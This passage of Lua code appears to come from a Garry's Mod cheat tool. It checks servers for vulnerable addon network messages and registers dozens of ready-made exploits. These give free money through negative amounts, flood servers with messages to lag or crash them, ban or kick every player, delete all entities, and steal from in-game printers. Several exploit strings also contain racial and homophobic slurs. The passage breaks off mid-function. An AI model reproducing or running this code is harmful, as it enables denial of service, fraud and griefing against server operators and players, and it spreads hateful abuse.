3961 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3962 Legs = {0, 1, 2, 3, 4, 5, 6}
3963 Hands = {0, 1, 2}
3964 Glasses = {0, 1}
3965 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3966 PM = PM + 1
3967 TS = TS + 1
3968 LG = LG + 1
3969 HN = HN + 1
3970 GL = GL + 1
3971 SK = SK + 1
3972
3973 if (PM > #PlayerModels) then
3974 PM = 1
3975 end
3976
3977 if (SK > #Skins) then
3978 SK = 1
3979 end
3980
3981 if (HN > #Hands) then
3982 HN = 1
3983 end
3984
3985 if (TS > #Torso) then
3986 TS = 1
3987 end
3988
3989 if (GL > #Glasses) then
3990 GL = 1
3991 end
3992
3993 if (LG > #Legs) then
3994 LG = 1
3995 end
3996
3997 net.Start("bodyman_model_change")
3998 net.WriteInt(PlayerModels[PM], 10)
3999 net.SendToServer()
4000 net.Start("bodygroups_change")
4001 net.WriteTable({1, Torso[TS]})
4002 net.SendToServer()
4003 net.Start("bodygroups_change")
4004 net.WriteTable({2, Legs[LG]})
4005 net.SendToServer()
4006 net.Start("bodygroups_change")
4007 net.WriteTable({3, Hands[HN]})
4008 net.SendToServer()
4009 net.Start("bodygroups_change")
4010 net.WriteTable({4, Glasses[GL]})
4011 net.SendToServer()
4012 end)
4013 else
4014 timer.Remove("bodygroups")
4015 ECNotify("Stopping")
4016 end
4017 end)
4018 end
4019
4020 status = ValidNetString("SendMoney")
4021
4022 if (status) then
4023 ECPrint("Found Exploit: Free Money #16 [SendMoney]")
4024
4025 addExploit("136", "Free Money #16", "get money", function()
4026 surface.PlaySound("garrysmod/ui_click.wav")
4027 ECNotify("Starting")
4028 hook.Remove("HUDPaint", "skhdsakjl")
4029 net.Start("SendMoney")
4030 net.WriteEntity(LocalPlayer())
4031 net.WriteEntity(LocalPlayer())
4032 net.WriteEntity(LocalPlayer())
4033 net.WriteString("-99999999")
4034 net.SendToServer()
4035 end)
4036 end
4037
4038 status = ValidNetString("BailOut")
4039
4040 if (status) then
4041 ECPrint("Found Exploit: Free Money #17 [BailOut]")
4042
4043 addExploit("137", "Free Money #17", "", function()
4044 surface.PlaySound("garrysmod/ui_click.wav")
4045 ECNotify("Starting")
4046
4047 for k, v in pairs(player.GetAll()) do
4048 net.Start("BailOut")
4049 net.WriteEntity(LocalPlayer())
4050 net.WriteEntity(v)
4051 net.WriteFloat(-999999999)
4052 net.SendToServer()
4053 end
4054 end)
4055 end
4056
4057 status = ValidNetString("hitcomplete")
4058
4059 if (status) then
4060 ECPrint("Found Exploit: Free Money #18 [hitcomplete]")
4061
4062 addExploit("138", "Free Money #18", "get money", function()
4063 surface.PlaySound("garrysmod/ui_click.wav")
4064 ECNotify("Starting")
4065 net.Start("hitcomplete")
4066 net.WriteDouble(99999999)
4067 net.SendToServer()
4068 end)
4069 end
4070
4071 ----------------------------------------
4072 for k, v in pairs(player.GetAll()) do
4073 dahater = v
4074 end
4075
4076 ----------------------------------------
4077 status = ValidNetString("hhh_request")
4078
4079 if (status) then
4080 ECPrint("Found Exploit: Free Money #19 [hhh_request]")
4081
4082 addExploit("139", "Free Money #19", "get money", function()
4083 surface.PlaySound("garrysmod/ui_click.wav")
4084 ECNotify("Starting")
4085 local plyhhh = LocalPlayer()
4086
4087 if dahater ~= plyhhh then
4088 local hitRequest = {}
4089 hitRequest.hitman = plyhhh
4090 hitRequest.requester = plyhhh
4091 hitRequest.target = dahater
4092 hitRequest.reward = -9999999
4093 net.Start('hhh_request')
4094 net.WriteTable(hitRequest)
4095 net.SendToServer()
4096 else
4097 ECPrint("In this version of HHH, you can not use an exploit!")
4098 end
4099 end)
4100 end
4101
4102 status = ValidNetString("DaHit")
4103
4104 if (status) then
4105 ECPrint("Found Exploit: Free Money #20 [DaHit]")
4106
4107 addExploit("140", "Free Money #20", "get money", function()
4108 surface.PlaySound("garrysmod/ui_click.wav")
4109 ECNotify("Starting")
4110 hook.Remove("HUDPaint", "skhdsakjl")
4111 net.Start("DaHit")
4112 net.WriteFloat(-99999999)
4113 net.WriteEntity(LocalPlayer())
4114 net.WriteEntity(LocalPlayer())
4115 net.WriteEntity(LocalPlayer())
4116 net.SendToServer()
4117 end)
4118 end
4119
4120 status = ValidNetString("textstickers_entdata")
4121
4122 if (status) then
4123 ECPrint("Found Exploit: Crash #2 [textstickers_entdata]")
4124
4125 addExploit("141", "Crash #2", "1tap", function()
4126 surface.PlaySound("garrysmod/ui_click.wav")
4127 ECNotify("Starting")
4128 net.Start("textstickers_entdata")
4129 net.WriteUInt(0xFFFFFFF, 32)
4130 net.SendToServer()
4131 end)
4132 end
4133
4134 status = ValidNetString("gBan.BanBuffer")
4135
4136 if (status) then
4137 ECPrint("Found Exploit: gBan Everyone [gBan.BanBuffer]")
4138
4139 addExploit("142", "gBan Everyone", "exploit in the old version of gban", function()
4140 surface.PlaySound("garrysmod/ui_click.wav")
4141 ECNotify("Starting")
4142
4143 for k, v in pairs(player.GetAll()) do
4144 if v ~= LocalPlayer() then
4145 net.Start("gBan.BanBuffer")
4146 net.WriteBool(true)
4147 net.WriteInt(0, 32)
4148 net.WriteString("haha owned")
4149 net.WriteString(v:SteamID())
4150 net.SendToServer()
4151 end
4152 end
4153 end)
4154 end
4155
4156 status = ValidNetString("ARMORY_RetrieveWeapon")
4157
4158 if (status) then
4159 ECPrint("Found Exploit: Free Armory #1 [ARMORY_RetrieveWeapon]")
4160
4161 addExploit("143", "Free Armory #1", "get weapon #1", function()
4162 surface.PlaySound("garrysmod/ui_click.wav")
4163 ECNotify("Starting")
4164 net.Start("ARMORY_RetrieveWeapon")
4165 net.WriteString("weapon1")
4166 net.SendToServer()
4167 end)
4168 end
4169
4170 status = ValidNetString("ARMORY_RetrieveWeapon")
4171
4172 if (status) then
4173 ECPrint("Found Exploit: Free Armory #2 [ARMORY_RetrieveWeapon]")
4174
4175 addExploit("144", "Free Armory #2", "get weapon #2", function()
4176 surface.PlaySound("garrysmod/ui_click.wav")
4177 ECNotify("Starting")
4178 net.Start("ARMORY_RetrieveWeapon")
4179 net.WriteString("weapon2")
4180 net.SendToServer()
4181 end)
4182 end
4183
4184 status = ValidNetString("ARMORY_RetrieveWeapon")
4185
4186 if (status) then
4187 ECPrint("Found Exploit: Free Armory #3 [ARMORY_RetrieveWeapon]")
4188
4189 addExploit("145", "Free Armory #3", "get weapon #3", function()
4190 surface.PlaySound("garrysmod/ui_click.wav")
4191 ECNotify("Starting")
4192 net.Start("ARMORY_RetrieveWeapon")
4193 net.WriteString("weapon3")
4194 net.SendToServer()
4195 end)
4196 end
4197
4198 status = ValidNetString("TransferReport")
4199
4200 if (status) then
4201 ECPrint("Found Exploit: Report Spammer [TransferReport]")
4202
4203 addExploit("146", "Report Spammer", "report all players", function()
4204 surface.PlaySound("garrysmod/ui_click.wav")
4205 ECNotify("Starting")
4206 net.Start("TransferReport")
4207 net.WriteString(v:SteamID())
4208 net.WriteString("CHINKGANG FAGOTS")
4209 net.WriteString("DITCH THIS SHITTY SERVER AND BUY R8 TODAY")
4210 net.SendToServer()
4211 end)
4212 end
4213
4214 status = ValidNetString("FIRE_CreateFireTruck")
4215
4216 if (status) then
4217 ECPrint("Found Exploit: Create Fire Truck [FIRE_CreateFireTruck]")
4218
4219 addExploit("147", "Create Fire Truck", "", function()
4220 surface.PlaySound("garrysmod/ui_click.wav")
4221 ECNotify("Starting")
4222 net.Start("FIRE_CreateFireTruck")
4223 net.SendToServer()
4224 end)
4225 end
4226
4227 status = ValidNetString("TFA_Attachment_RequestAll")
4228
4229 if (status) then
4230 ECPrint("Found Exploit: Lagger #20 [TFA_Attachment_RequestAll]")
4231
4232 addExploit("148", "Lagger #20", "an exploit in 'TFA Weapon Pack', discovered by zerg314", function()
4233 surface.PlaySound("garrysmod/ui_click.wav")
4234
4235 if not timer.Exists("lagger20") then
4236 timer.Create("lagger20", 0, 0, function()
4237 for i = 1, 800 do
4238 net.Start("TFA_Attachment_RequestAll", true)
4239 net.SendToServer()
4240 end
4241 end)
4242
4243 ECNotify("Starting Lagger")
4244 else
4245 timer.Remove("lagger20")
4246 ECNotify("Stopping Lagger")
4247 end
4248 end)
4249 end
4250
4251 status = ValidNetString("FIRE_RemoveFireTruck")
4252
4253 if (status) then
4254 ECPrint("Found Exploit: Remove Fire Truck [FIRE_RemoveFireTruck]")
4255
4256 addExploit("149", "Remove Fire Truck", "", function()
4257 surface.PlaySound("garrysmod/ui_click.wav")
4258 ECNotify("Starting")
4259 net.Start("FIRE_RemoveFireTruck")
4260 net.SendToServer()
4261 end)
4262 end
4263
4264 status = ValidNetString("gPrinters.sendID")
4265
4266 if (status) then
4267 ECPrint("Found Exploit: Lagger #21 [gPrinters.sendID]")
4268
4269 addExploit("150", "Lagger #21", "B1G LAGZ, discovered by Leith", function()
4270 surface.PlaySound("garrysmod/ui_click.wav")
4271 ECNotify("Starting")
4272
4273 if not timer.Exists("lagger21") then
4274 timer.Create("lagger21", 0, 0, function()
4275 for i = 1, 1000 do
4276 net.Start("gPrinters.sendID", true)
4277 net.WriteEntity(LocalPlayer())
4278 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 8)
4279 net.SendToServer()
4280 end
4281 end)
4282 end
4283 end)
4284 end
4285
4286 status = ValidNetString("requestmoneyforvk") -- RusElite Server
4287
4288 if (status) then
4289 ECPrint("Found Exploit: Free 50k [requestmoneyforvk]")
4290
4291 addExploit("151", "Free 50k", "gives you 50k bypassing the validation check, discovered by Leith", function()
4292 surface.PlaySound("garrysmod/ui_click.wav")
4293 ECNotify("Starting")
4294 net.Start("requestmoneyforvk")
4295 net.WriteEntity(LocalPlayer())
4296 net.SendToServer()
4297 end)
4298 end
4299
4300 status = ValidNetString("vj_testentity_runtextsd")
4301
4302 if (status) then
4303 ECPrint("Found Exploit: VJSay [NEW] [vj_testentity_runtextsd]")
4304
4305 addExploit("152", "VJSay [NEW]", "'fix' of the old exploit", function()
4306 surface.PlaySound("garrysmod/ui_click.wav")
4307 ECNotify("Starting")
4308
4309 for k, v in pairs(player.GetAll()) do
4310 net.Start("vj_testentity_runtextsd")
4311 net.WriteEntity(v)
4312 net.WriteString("OWNED OWNED OWNED OWNED OWNED OWNED OWNED OWNED ")
4313 net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
4314 net.SendToServer()
4315 end
4316 end)
4317 end
4318
4319 status = ValidNetString("NET_BailPlayer") -- need to test
4320
4321 if (status) then
4322 ECPrint("Found Exploit: Players Spam [NET_BailPlayer]")
4323
4324 addExploit("153", "Players Spam", "", function()
4325 surface.PlaySound("garrysmod/ui_click.wav")
4326 ECNotify("Starting")
4327
4328 for k, v in pairs(player.GetAll()) do
4329 net.Start("NET_BailPlayer")
4330 net.WriteEntity(v)
4331 net.WriteEntity(v)
4332 net.SendToServer()
4333 end
4334 end)
4335 end
4336
4337 status = ValidNetString("Taxi_Add") -- need to test
4338
4339 if (status) then
4340 ECPrint("Found Exploit: Free Money #21 [Taxi_Add]")
4341
4342 addExploit("154", "Free Money #21", "maybe not work", function()
4343 surface.PlaySound("garrysmod/ui_click.wav")
4344 ECNotify("Starting")
4345 net.Start("Taxi_Add")
4346 net.WriteString("MLG")
4347 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
4348 net.WriteFloat(-99999999)
4349 net.WriteString(Desc)
4350 net.SendToServer()
4351 end)
4352 end
4353
4354 status = ValidNetString("BuyCar")
4355
4356 if (status) then
4357 ECPrint("Found Exploit: Free Money #22 [BuyCar]")
4358
4359 addExploit("155", "Free Money #22", "get money", function()
4360 surface.PlaySound("garrysmod/ui_click.wav")
4361 ECNotify("Starting")
4362 net.Start('BuyCar')
4363 net.WriteFloat(-1000000)
4364 net.WriteEntity(LocalPlayer())
4365 net.WriteString("Gay")
4366 net.WriteString("Cock")
4367 net.WriteString("Twat")
4368 net.SendToServer()
4369 end)
4370 end
4371
4372 status = ValidNetString("rpi_trade_end")
4373
4374 if (status) then
4375 ECPrint("Found Exploit: Test Function [rpi_trade_end]")
4376
4377 addExploit("156", "Test Function", "just test", function()
4378 surface.PlaySound("garrysmod/ui_click.wav")
4379 ECNotify("Starting")
4380 local it = 0
4381
4382 timer.Create(util.CRC(tostring(CurTime())), 0.5, 0, function()
4383 if (it > #player.GetAll()) then
4384 it = 1
4385 else
4386 it = it + 1
4387 end
4388
4389 net.Start("rpi_trade_end")
4390 net.WriteUInt(it, 16)
4391 net.SendToServer()
4392 end)
4393 end)
4394 end
4395
4396 status = ValidNetString("ClickerForceSave")
4397
4398 if (status) then
4399 ECPrint("Found Exploit: Melon Crash [ClickerForceSave]")
4400
4401 addExploit("157", "Melon Crash", "", function()
4402 surface.PlaySound("garrysmod/ui_click.wav")
4403 ECNotify("Starting")
4404
4405 hook.Add("Think", "ps_spam", function()
4406 for k, v in pairs(player.GetAll()) do
4407 net.Start("ClickerForceSave")
4408 net.WriteEntity(ply)
4409 net.WriteInt(1, 1)
4410 net.SendToServer()
4411 end
4412 end)
4413 end)
4414 end
4415
4416 status = ValidNetString("SRequest")
4417
4418 if (status) then
4419 ECPrint("Found Exploit: Deagle Grab [SRequest]")
4420
4421 addExploit("158", "Deagle Grab", "", function()
4422 surface.PlaySound("garrysmod/ui_click.wav")
4423 ECNotify("Starting")
4424
4425 for k, v in pairs(player.GetAll()) do
4426 net.Start("SRequest")
4427 net.WriteEntity(v)
4428 net.SendToServer()
4429 end
4430 end)
4431 end
4432
4433 status = ValidNetString("HealButton")
4434
4435 if (status) then
4436 ECPrint("Found Exploit: Free HP [HealButton]")
4437
4438 addExploit("159", "Free HP", "free hp", function()
4439 surface.PlaySound("garrysmod/ui_click.wav")
4440 ECNotify("Starting")
4441 net.Start("HealButton")
4442 net.WriteEntity(LocalPlayer())
4443 net.WriteFloat(999999)
4444 net.SendToServer()
4445 end)
4446 end
4447
4448 status = ValidNetString("ArmorButton")
4449
4450 if (status) then
4451 ECPrint("Found Exploit: Free Armor [ArmorButton]")
4452
4453 addExploit("160", "Free Armor", "free armor", function()
4454 surface.PlaySound("garrysmod/ui_click.wav")
4455 ECNotify("Starting")
4456 net.Start("ArmorButton")
4457 net.WriteEntity(LocalPlayer())
4458 net.WriteFloat(999999)
4459 net.SendToServer()
4460 end)
4461 end
4462
4463 status = ValidNetString("SprintSpeedset")
4464
4465 if (status) then
4466 ECPrint("Found Exploit: TTT SpeedHack [SprintSpeedset]")
4467
4468 addExploit("161", "TTT SpeedHack", "changes your speed", function()
4469 surface.PlaySound("garrysmod/ui_click.wav")
4470 ECNotify("Starting")
4471 net.Start("SprintSpeedset")
4472 net.WriteFloat(math.min(math.max(2, 0.1), 2))
4473 net.SendToServer()
4474 end)
4475 end
4476
4477 status = ValidNetString("GiveArmor100")
4478
4479 if (status) then
4480 ECPrint("Found Exploit: Armor Exploit [GiveArmor100]")
4481
4482 addExploit("162", "Armor Exploit", "", function()
4483 surface.PlaySound("garrysmod/ui_click.wav")
4484 ECNotify("Starting")
4485 net.Start("GiveArmor100")
4486 net.SendToServer()
4487 end)
4488 end
4489
4490 status = ValidNetString("GiveSCP294Cup") -- NEED TO TEST !!
4491
4492 if (status) then
4493 ECPrint("Found Exploit: 294 JAM [NEED TO TEST] [GiveSCP294Cup]")
4494 SCPLAG = 0
4495
4496 addExploit("163", "SCP 249 JAM!", "", function()
4497 surface.PlaySound("garrysmod/ui_click.wav")
4498 ECNotify("Starting")
4499
4500 if (SCPLAG == 0) then
4501 SCPLAG = 1
4502
4503 timer.Create("LagThatShit", time, 0.05, function()
4504 for k, v in pairs(ents.GetAll()) do
4505 if v:GetClass() == "scp294" then
4506 net.Start("GiveSCP294Cup")
4507 net.WriteString("shit")
4508 net.WriteEntity(v)
4509 net.SendToServer()
4510 end
4511 end
4512 end)
4513 else
4514 SCPLAG = 0
4515 timer.Remove("LagThatShit")
4516 end
4517 end)
4518 end
4519
4520
4521 status = ValidNetString("Client_To_Server_OpenEditor")
4522
4523 if (status) then
4524 ECPrint("Found Exploit: SCP 249 Drink Menu Hack [Client_To_Server_OpenEditor]")
4525
4526 addExploit("164", "SCP 249 Drink Menu Hack", "", function()
4527 surface.PlaySound("garrysmod/ui_click.wav")
4528 ECNotify("Starting")
4529 net.Start("Client_To_Server_OpenEditor")
4530 net.SendToServer()
4531 end)
4532 end
4533
4534 status = ValidNetString("DuelMessageReturn")
4535
4536 if (status) then
4537 ECPrint("Found Exploit: Duel Crazy [DuelMessageReturn]")
4538
4539 addExploit("165", "Duel Crazy", "forces all players to fight with all players, discovered by Solly", function()
4540 surface.PlaySound("garrysmod/ui_click.wav")
4541 ECNotify("Starting")
4542
4543 timer.Create("crazyduel", 0.1, 0, function()
4544 s.duel[1] = table.Random(player.GetAll())
4545 s.duel[2] = table.Random(player.GetAll())
4546 net.Start("DuelMessageReturn")
4547 net.WriteFloat(1)
4548 net.WriteTable(s.duel)
4549 net.SendToServer()
4550 end)
4551 end)
4552 end
4553
4554 status = ValidNetString("userAcceptPrestige")
4555
4556 if (status) then
4557 ECPrint("Found Exploit: Free Prestige [userAcceptPrestige]")
4558
4559 addExploit("166", "Free Prestige", "exploit for free prestige", function()
4560 surface.PlaySound("garrysmod/ui_click.wav")
4561 ECNotify("Starting")
4562 net.Start("userAcceptPrestige")
4563 net.SendToServer()
4564 end)
4565 end
4566
4567 status = ValidNetString("wordenns")
4568
4569 if (status) then
4570 ECPrint("Found Exploit: Steal All Monies #11 [wordenns]")
4571
4572 addExploit("167", "Steal All Monies #11", "withdraw money from all printers", function()
4573 surface.PlaySound("garrysmod/ui_click.wav")
4574 ECNotify("Starting")
4575 ECPrint("printers:" .. tostring(#ents.FindByClass("derma_printer")))
4576
4577 for k, v in pairs(ents.FindByClass("derma_printer")) do
4578 net.Start("wordenns")
4579 net.WriteEntity(v)
4580 net.SendToServer()
4581 end
4582 end)
4583 end
4584
4585 status = ValidNetString("guncraft_removeWorkbench")
4586
4587 if (status) then
4588 ECPrint("Found Exploit: Remove all Entity [guncraft_removeWorkbench]")
4589
4590 addExploit("168", "Remove all Entity", "an exploit in addon 'GunCraft'", function()
4591 surface.PlaySound("garrysmod/ui_click.wav")
4592 ECNotify("Starting")
4593
4594 if not timer.Exists("removentity") then
4595 timer.Create("removentity", 3, 0, function()
4596 for k, v in pairs(ents.GetAll()) do
4597 net.Start("guncraft_removeWorkbench")
4598 net.WriteEntity(v)
4599 net.SendToServer()
4600 end
4601 end)
4602 end
4603 end)
4604 end
4605
4606 status = ValidNetString("BuyKey")
4607
4608 if (status) then
4609 ECPrint("Found Exploit: Blue Unbox Exploit [NEED TO TEST]")
4610
4611 addExploit("169", "Blue Unbox Exploit", "", function()
4612 surface.PlaySound("garrysmod/ui_click.wav")
4613 ECNotify("Starting")
4614 net.Start("BuyKey")
4615 net.SendToServer()
4616 net.Start("BuyCrate")
4617 net.SendToServer()
4618 end)
4619 end
4620
4621 status = ValidNetString("casinokit_chipexchange")
4622
4623 if (status) then
4624 ECPrint("Found Exploit: Free Money #23 [casinokit_chipexchange]")
4625
4626 addExploit("170", "Free Money #23", "only works if outdated", function()
4627 surface.PlaySound("garrysmod/ui_click.wav")
4628 ECNotify("Starting")
4629 local moneylog = LocalPlayer():getDarkRPVar("money")
4630 net.Start("casinokit_chipexchange")
4631 net.WriteEntity(self)
4632 net.WriteString("darkrp")
4633 net.WriteBool(true)
4634 net.WriteUInt(LocalPlayer():getDarkRPVar("money"), 32)
4635 net.SendToServer()
4636
4637 timer.Simple(3, function()
4638 for i = 1, 5000 do
4639 net.Start("casinokit_chipexchange")
4640 net.WriteEntity(self)
4641 net.WriteString("darkrp")
4642 net.WriteBool(false)
4643 net.WriteUInt(moneylog * 0.10, 32)
4644 net.SendToServer()
4645 end
4646 end)
4647 end)
4648 end
4649
4650 status = ValidNetString("PurchaseWeed")
4651
4652 if (status) then
4653 ECPrint("Found Exploit: Buy Weed [PurchaseWeed]")
4654
4655 addExploit("171", "Buy Weed", "", function()
4656 surface.PlaySound("garrysmod/ui_click.wav")
4657 ECNotify("Starting")
4658 net.Start("PurchaseWeed")
4659 net.WriteInt(tonumber(10000), 16)
4660 net.WriteInt(tonumber(1), 16)
4661 net.WriteBool(LocalPlayer().Buying)
4662 net.SendToServer()
4663 end)
4664 end
4665
4666 status = ValidNetString("PurchaseWeed")
4667
4668 if (status) then
4669 ECPrint("Found Exploit: Sell Weed [PurchaseWeed]")
4670
4671 addExploit("172", "Sell Weed", "", function()
4672 surface.PlaySound("garrysmod/ui_click.wav")
4673 ECNotify("Starting")
4674 net.Start("PurchaseWeed")
4675 net.WriteInt(tonumber(100), 16)
4676 net.WriteInt(tonumber(100), 16)
4677 net.WriteBool(LocalPlayer().Selling)
4678 net.SendToServer()
4679 end)
4680 end
4681
4682 status = ValidNetString("DoDealerDeliver")
4683
4684 if (status) then
4685 ECPrint("Found Exploit: Buy Tab [DoDealerDeliver]")
4686
4687 addExploit("173", "Buy Tab", "", function()
4688 surface.PlaySound("garrysmod/ui_click.wav")
4689 ECNotify("Starting")
4690
4691 if (LocalPlayer():getDarkRPVar("money") >= WEED_CONFIG.TabletPrice) then
4692 net.Start("DoDealerDeliver")
4693 net.WriteBool(false)
4694 net.SendToServer()
4695 end
4696 end)
4697 end
4698
4699 status = ValidNetString("DoDealerDeliver")
4700
4701 if (status) then
4702 ECPrint("Found Exploit: Buy Bong [DoDealerDeliver]")
4703
4704 addExploit("174", "Buy Bong", "", function()
4705 surface.PlaySound("garrysmod/ui_click.wav")
4706 ECNotify("Starting")
4707
4708 if (LocalPlayer():getDarkRPVar("money") >= WEED_ITEMS.Items["Tools"]["bong"].price) then
4709 net.Start("DoDealerDeliver")
4710 net.WriteBool(true)
4711 net.SendToServer()
4712 end
4713 end)
4714 end
4715
4716 status = ValidNetString("sendDuelInfo")
4717
4718 if (status) then
4719 ECPrint("Found Exploit: Duel NPC Exploit [sendDuelInfo]")
4720
4721 addExploit("175", "Duel NPC Exploit", "", function()
4722 surface.PlaySound("garrysmod/ui_click.wav")
4723 ECNotify("Starting")
4724 net.Start("sendDuelInfo")
4725 net.WriteString(table.Random(player.GetAll()):Nick())
4726 net.WriteString("xxdddd")
4727 net.WriteString("1e+100")
4728 net.WriteEntity(table.random(player.GetAll()):UserID())
4729 net.WriteInt(3, 3)
4730 net.SendToServer()
4731 end)
4732 end
4733
4734 status = ValidNetString("InviteMember")
4735
4736 if (status) then
4737 ECPrint("Found Exploit: Invite all players [InviteMember]")
4738
4739 addExploit("176", "Invite all players", "Invite all players to your org", function()
4740 surface.PlaySound("garrysmod/ui_click.wav")
4741 ECNotify("Starting")
4742
4743 for k, v in pairs(player.GetAll()) do
4744 net.Start("InviteMember")
4745 net.WriteEntity(v)
4746 net.WriteEntity(v)
4747 net.WriteString("lol what")
4748 net.SendToServer()
4749 end
4750 end)
4751 end
4752
4753 status = ValidNetString("newTerritory")
4754
4755 if (status) then
4756 ECPrint("Found Exploit: New Territory [newTerritory]")
4757
4758 addExploit("177", "New Territory", "", function()
4759 surface.PlaySound("garrysmod/ui_click.wav")
4760 ECNotify("Starting")
4761
4762 for k, v in pairs(player.GetAll()) do
4763 net.Start("newTerritory")
4764 net.WriteString("Hackers")
4765 net.WriteTable(t)
4766 net.SendToServer()
4767 end
4768 end)
4769 end
4770
4771 status = ValidNetString("CreateOrganization")
4772
4773 if (status) then
4774 ECPrint("Found Exploit: Org Exploit [CreateOrganization]")
4775
4776 addExploit("178", "Org Exploit", "", function()
4777 surface.PlaySound("garrysmod/ui_click.wav")
4778 ECNotify("Starting")
4779
4780 for k, v in pairs(player.GetAll()) do
4781 net.Start("CreateOrganization")
4782 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4783 net.WriteString("Join my gang or will rekt u")
4784 net.SendToServer()
4785 end
4786 end)
4787 end
4788
4789 status = ValidNetString("DisbandOrganization")
4790
4791 if (status) then
4792 ECPrint("Found Exploit: Org Disband [DisbandOrganization]")
4793
4794 addExploit("179", "Org Disband", "", function()
4795 surface.PlaySound("garrysmod/ui_click.wav")
4796 ECNotify("Starting")
4797 net.Start("DisbandOrganization")
4798 net.WriteEntity(LocalPlayer())
4799 net.SendToServer()
4800 end)
4801 end
4802
4803 status = ValidNetString("ChangeOrgName")
4804
4805 if (status) then
4806 ECPrint("Found Exploit: Org Change Name [ChangeOrgName]")
4807
4808 addExploit("180", "Org Change Name", "", function()
4809 surface.PlaySound("garrysmod/ui_click.wav")
4810 ECNotify("Starting")
4811 net.Start("ChangeOrgName")
4812 net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
4813 net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
4814 net.WriteEntity(LocalPlayer())
4815 net.SendToServer()
4816 end)
4817 end
4818
4819 status = ValidNetString("IS_SubmitSID_C2S")
4820
4821 if (status) then
4822 ECPrint("Found Exploit: Free Reward [IS_SubmitSID_C2S | IS_GetReward_C2S]")
4823
4824 addExploit("181", "Free Reward", "", function()
4825 surface.PlaySound("garrysmod/ui_click.wav")
4826 ECNotify("Starting")
4827 net.Start("IS_SubmitSID_C2S")
4828 net.WriteString("Killa")
4829 net.SendToServer()
4830 net.Start("IS_GetReward_C2S")
4831 net.SendToServer()
4832 end)
4833 end
4834
4835 status = ValidNetString("AcceptBailOffer")
4836
4837 if (status) then
4838 ECPrint("Found Exploit: Bail Offer Exploit [AcceptBailOffer]")
4839
4840 addExploit("182", "Bail Offer Exploit", "", function()
4841 surface.PlaySound("garrysmod/ui_click.wav")
4842 ECNotify("Starting")
4843
4844 for k, v in pairs(player.GetAll()) do
4845 net.Start("AcceptBailOffer")
4846 net.WriteEntity(v)
4847 net.WriteUInt(-100000000000000000, 16)
4848 net.SendToServer()
4849 end
4850 end)
4851 end
4852
4853 status = ValidNetString("CP_Test_Results")
4854
4855 if (status) then
4856 ECPrint("Found Exploit: CP Bypass [CP_Test_Results]")
4857
4858 addExploit("183", "CP Bypass", "", function()
4859 surface.PlaySound("garrysmod/ui_click.wav")
4860 ECNotify("Starting")
4861 net.Start("CP_Test_Results")
4862 net.WriteInt(1, 8)
4863 net.SendToServer()
4864 end)
4865 end
4866
4867 status = ValidNetString("ReSpawn")
4868
4869 if (status) then
4870 ECPrint("Found Exploit: Respawn #4 [ReSpawn]")
4871
4872 addExploit("184", "Respawn #4", "just respawn", function()
4873 surface.PlaySound("garrysmod/ui_click.wav")
4874 ECNotify("Starting")
4875 net.Start("ReSpawn")
4876 net.SendToServer()
4877 end)
4878 end
4879
4880 status = ValidNetString("FIGHTCLUB_KickPlayer")
4881
4882 if (status) then
4883 ECPrint("Found Exploit: Fight Club Kick [FIGHTCLUB_KickPlayer]")
4884
4885 addExploit("185", "Fight Club Kick", "", function()
4886 surface.PlaySound("garrysmod/ui_click.wav")
4887 ECNotify("Starting")
4888
4889 for k, v in pairs(player.GetAll()) do
4890 net.Start("FIGHTCLUB_KickPlayer")
4891 net.WriteBit(v)
4892 net.WriteEntity(v)
4893 net.SendToServer()
4894 end
4895 end)
4896 end
4897
4898 status = ValidNetString("FIGHTCLUB_StartFight")
4899
4900 if (status) then
4901 ECPrint("Found Exploit: Fight Club Start Fight [FIGHTCLUB_StartFight]")
4902
4903 addExploit("186", "Fight Club Start Fight", "", function()
4904 surface.PlaySound("garrysmod/ui_click.wav")
4905 ECNotify("Starting")
4906
4907 for k, v in pairs(player.GetAll()) do
4908 net.Start("FIGHTCLUB_StartFight")
4909 net.WriteEntity(v)
4910 net.SendToServer()
4911 end
4912 end)
4913 end
4914
4915 status = ValidNetString("IveBeenRDMed")
4916
4917 if (status) then
4918 ECPrint("Found Exploit: Fake RDM [IveBeenRDMed]")
4919
4920 addExploit("187", "Fake RDM", "", function()
4921 surface.PlaySound("garrysmod/ui_click.wav")
4922 ECNotify("Starting")
4923
4924 for k, v in pairs(player.GetAll()) do
4925 net.Start("IveBeenRDMed")
4926 net.WriteEntity(v)
4927 net.SendToServer()
4928 end
4929 end)
4930 end
4931
4932 status = ValidNetString("nCTieUpStart")
4933
4934 if (status) then
4935 ECPrint("Found Exploit: Combine Control Exploit [nCTieUpStart]")
4936
4937 addExploit("188", "Combine Control Exploit", "", function()
4938 surface.PlaySound("garrysmod/ui_click.wav")
4939 ECNotify("Starting")
4940
4941 for k, v in pairs(ents.GetAll()) do
4942 net.Start("nCTieUpStart")
4943 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4944 net.SendToServer()
4945 end
4946 end)
4947 end
4948
4949 status = ValidNetString("DestroyTable")
4950
4951 if (status) then
4952 ECPrint("Found Exploit: Fuck All [DestroyTable]")
4953
4954 addExploit("189", "Fuck All", "discovered by Leith", function()
4955 surface.PlaySound("garrysmod/ui_click.wav")
4956 ECNotify("Starting")
4957
4958 for k, v in pairs(ents.GetAll()) do
4959 net.Start("DestroyTable")
4960 net.WriteEntity(v)
4961 net.SendToServer()
4962 end
4963 end)
4964 end
4965
4966 status = ValidNetString("start_wd_hack")
4967
4968 if (status) then
4969 ECPrint("Found Exploit: Hack Phone Exploit [start_wd_hack]")
4970
4971 addExploit("190", "Hack Phone Exploit", "", function()
4972 surface.PlaySound("garrysmod/ui_click.wav")
4973 ECNotify("Starting")
4974 net.Start("start_wd_hack")
4975 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4976 net.SendToServer()
4977 end)
4978 end
4979
4980 status = ValidNetString("bringNfreeze")
4981
4982 if (status) then
4983 ECPrint("Found Exploit: Ban Exploit [bringNfreeze]")
4984
4985 addExploit("191", "Ban Exploit", "", function()
